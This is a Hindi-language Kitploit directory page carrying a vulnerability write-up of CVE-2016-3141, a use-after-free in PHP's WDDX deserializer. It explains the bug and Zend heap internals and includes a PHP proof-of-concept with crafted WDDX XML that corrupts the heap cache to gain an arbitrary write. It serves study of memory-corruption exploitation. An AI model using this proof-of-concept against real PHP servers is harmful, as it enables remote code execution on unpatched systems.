Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/peternguyen93/cve-2016-3141
मेमोरी फोरेंसिकभेद्यता विश्लेषणकोड विश्लेषणशोषणलर्निंग और शिक्षाबाइनरी शोषण
GitHubpeternguyen93/cve-2016-3141

CVE-2016-3141

CVE-2016-3141

रिपॉजिटरी देखें
154210 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2016-3141

1. भेद्यता विवरण।

PHP के WDDX एक्सटेंशन में wddx.c में उपयोग-के-बाद-मुक्त (Use-after-free) भेद्यता, PHP 5.5.33 से पहले और 5.6.x में 5.6.19 से पहले, दूरस्थ हमलावरों को XML डेटा जिसमें एक क्राफ्टेड var तत्व होता है, पर wddx_deserialize कॉल को ट्रिगर करके सेवा अस्वीकार (मेमोरी भ्रष्टाचार और एप्लिकेशन क्रैश) या संभवतः अन्य अज्ञात प्रभाव पैदा करने की अनुमति देती है।

2. बग का अवलोकन।

यह एक उपयोग-के-बाद-मुक्त बग है, जो तब होता है जब wddx XML डेटा को प्रोसेस करने का प्रयास करता है। फंक्शन php_wddx_deserialize_ex में इस कोड को देखें। जब wddx_deserialize($xml) कुछ XML डेटा होता है, तो php इस फंक्शन को कॉल करेगा और फिर xml टैग और डेटा को संभालने के लिए कुछ फंक्शन सेट करेगा।

root@kitploit:~
	XML_SetUserData(parser, &stack);
	XML_SetElementHandler(parser, php_wddx_push_element, php_wddx_pop_element);
	XML_SetCharacterDataHandler(parser, php_wddx_process_data);

फंक्शन php_wddx_push_element एक टैग के लिए एक एंट्री बनाता है जैसा कि आप इस स्निपेट में देख सकते हैं। उदाहरण के लिए जब आप इनपुट करते हैं <string>Hello World</string> यदि वे ओपन टैग पर हिट करते हैं तो php_wddx_push_element को कॉल करेंगे जो एक st_entry टैग बनाएगा जो एक टैग की जानकारी संग्रहीत करता है, नीचे कुछ स्निपेट कोड देखें।

root@kitploit:~
static void php_wddx_push_element(void *user_data, const XML_Char *name, const XML_Char **atts)
{
	st_entry ent;
	wddx_stack *stack = (wddx_stack *)user_data;
	
	----SNIP----
	else if (!strcmp(name, EL_STRING)) {
		ent.type = ST_STRING;
		SET_STACK_VARNAME;
	
		ALLOC_ZVAL(ent.data);
		INIT_PZVAL(ent.data);
		Z_TYPE_P(ent.data) = IS_STRING;
		Z_STRVAL_P(ent.data) = STR_EMPTY_ALLOC();
		Z_STRLEN_P(ent.data) = 0;
		wddx_stack_push((wddx_stack *)stack, &ent, sizeof(st\_entry));
	} 
	----SNIP----
}

SET_STACK_VARNAME एक प्रक्रिया है जो नीचे परिभाषित है। यह प्रक्रिया सरल है: यह एक टैग के stack->varname की जाँच करता है यदि यह NULL नहीं है तो यह इस stack->varname को क्लोन करेगा और फिर इसे मुक्त करेगा।

root@kitploit:~
#define SET_STACK_VARNAME							\
		if (stack->varname) {						\
			ent.varname = estrdup(stack->varname);	\
			efree(stack->varname);					\
			stack->varname = NULL;					\
		} else										\
			ent.varname = NULL;						\

बग php_wddx_pop_element में हुआ है। जब xml var टैग के क्लोज़िंग टैग को संसाधित करता है, तो यह इस टैग के varname को मुक्त करेगा, और यह मुक्त किया गया पॉइंटर अभी भी stack->varname में संग्रहीत रहता है। उदाहरण के लिए, यदि आप एक var बनाते हैं जैसे <var name='UAF'></var>, php_wddx_push_element एक struct बनाएगा जो इस var टैग को संग्रहीत करता है, फिर जब आप इस टैग को बंद करते हैं तो यह इसे मुक्त करता है लेकिन इस stack->name = NULL को सेट करना या stack->top को घटाना भूल जाता है, उसके बाद यदि आप कोई अन्य टैग जैसे <string> बनाते हैं तो फंक्शन SET_STACK_VARNAME इस मुक्त किए गए पॉइंटर का पुन: उपयोग करेगा।

root@kitploit:~
static void php_wddx_pop_element(void *user_data, const XML_Char *name)
{
	# ***SNIP***
	} else if (!strcmp(name, EL_VAR) && stack->varname) {
		efree(stack->varname);
	}
	# ***SNIP***
}

3. शोषण (Exploitation)

जब मैंने पहली बार इस बग को देखा, तो मैंने सोचा "क्या मैं इस बग को कोड निष्पादन में नहीं बदल सकता?" पहले, मुझे समझना होगा कि zend हीप कैसे कार्यान्वित होता है, आइए नीचे zend_alloc.c में फंक्शन _zend_mm_alloc_int देखें।

root@kitploit:~
if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
		size_t index = ZEND_MM_BUCKET_INDEX(true_size);
		size_t bitmap;
		if (UNEXPECTED(true_size < size)) {
			goto out_of_memory;
		}
#if ZEND_MM_CACHE
		if (EXPECTED(heap->cache[index] != NULL)) {
			/* Get block from cache */
#if ZEND_MM_CACHE_STAT
			heap->cache_stat[index].count--;
			heap->cache_stat[index].hit++;
#endif
			best_fit = heap->cache[index];
			heap->cache[index] = best_fit->prev_free_block;
			heap->cached -= true_size;
			ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
			ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
			HANDLE_UNBLOCK_INTERRUPTIONS();
			return ZEND_MM_DATA_OF(best_fit);
 		}

यदि हम छोटे आकार (256 बाइट्स से कम) का चंक malloc करते हैं तो zend_alloc heap->cache का उपयोग करेगा, जो एक मुक्त चंक सूची है जो कई छोटे मुक्त चंक लिंक्ड लिस्ट को संग्रहीत करती है, यह heap->cache malloc के fast_bin जैसा है। यदि किसी तरह हम best_fit->prev_free_block पॉइंटर को अपने स्वयं के पते से अधिलेखित कर सकते हैं तो zend_alloc फिर से और हम उस पते का उपयोग करके मेमोरी में कहीं भी लिख सकते हैं।

ऐसा करने के लिए, मैं नीचे wddx xml बनाऊंगा:

root@kitploit:~
$xml = <<<EOF
<?xml version='1.0' ?>
<!DOCTYPE wddxPacket SYSTEM 'wddx_0100.dtd'>
<wddxPacket version='1.0'>
	<array>
		<binary>HERE</binary> # (1)
		<var name='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'></var> #(2)
		<binary>REPLACE</binary> # (3)
		<var name='SUCK'></var> # (4)
		<boolean value='a'/>
		<boolean value='true'/>
	</array>
</wddxPacket>
EOF;

$binary_value = base64_encode(str_repeat("A",32));

$xml = str_replace("HERE",$binary_value,$xml);
$xml = str_replace("REPLACE",base64_encode(str_repeat("Z",64)),$xml);

$wddx = wddx_deserialize($xml); 

foreach($wddx as $k => $v){
	$k = "".str_repeat("C",6); (5)
	
	$t = (string)$v; (6)
	$g = (string)$v; (7)
}
  1. 32 बाइट्स (chunk_a) बनाएं बाइनरी टैग के साथ क्योंकि यह टैग आपको गैर-मुद्रण योग्य वर्ण इनपुट करने की अनुमति देता है।
  2. पहले बाइनरी टैग के समान आकार का एक नाम बनाएं और इस नाम के मान को मुक्त कराएं (chunk_b)।
  3. 64 बाइट्स (chunk_c) का एक पैडिंग चंक बनाएं।
  4. 8 बाइट्स का एक नाम बनाएं और फिर इसे मुक्त करें (chunk_d)।
  5. इस $xml को डिसीरियलाइज़ करने के बाद, मैं इस ऑब्जेक्ट के माध्यम से foreach लूप करता हूं, पहले लूप में $k अब chunk_b (जो मुक्त है) की ओर इशारा करता है, $v अब chunk_a की ओर इशारा करता है, मैं concat_function ऑपरेटर का उपयोग करके best_fit->prev_free_block को अपने डेटा के साथ अधिलेखित करता हूं।
  6. PHP स्ट्रिंग कास्टिंग का उपयोग करें जो एक नया चंक (chunk_e) बनाने के लिए estrncpy को कॉल करता है, अब chunk_b की ओर इशारा करता है और heap->cache[index] को अपने मान के साथ संग्रहीत करता है।
  7. ठीक है, फिर से estrncpy($v,32) करें ($v=$binary_value) पहले zend_alloc फिर से, और हमारे पास क्रैश $r12 = 0x4343434343 है, यदि हम इस मान को किसी अन्य पते से बदलते हैं, तो estrncpy memcpy(r12,v,size) को कॉल करने में प्रसन्न होगा जिससे हम कहीं भी अधिलेखित कर सकते हैं।

क्रैश

आप मेरा पूरा एक्सप्लॉइट यहां देख सकते हैं peter_code_execute.php (Ubuntu 14.04.4 x86_64 - PHP 5.5.9-1ubuntu4.14 पर परीक्षण किया गया)।

अंत में, मैंने इस बग को सफलतापूर्वक कोड निष्पादन में बदल दिया। परिणाम

4. संदर्भ

http://www.cvedetails.com/cve/CVE-2016-3141/

https://bugs.php.net/bug.php?id=71587

टूल डाउनलोड करें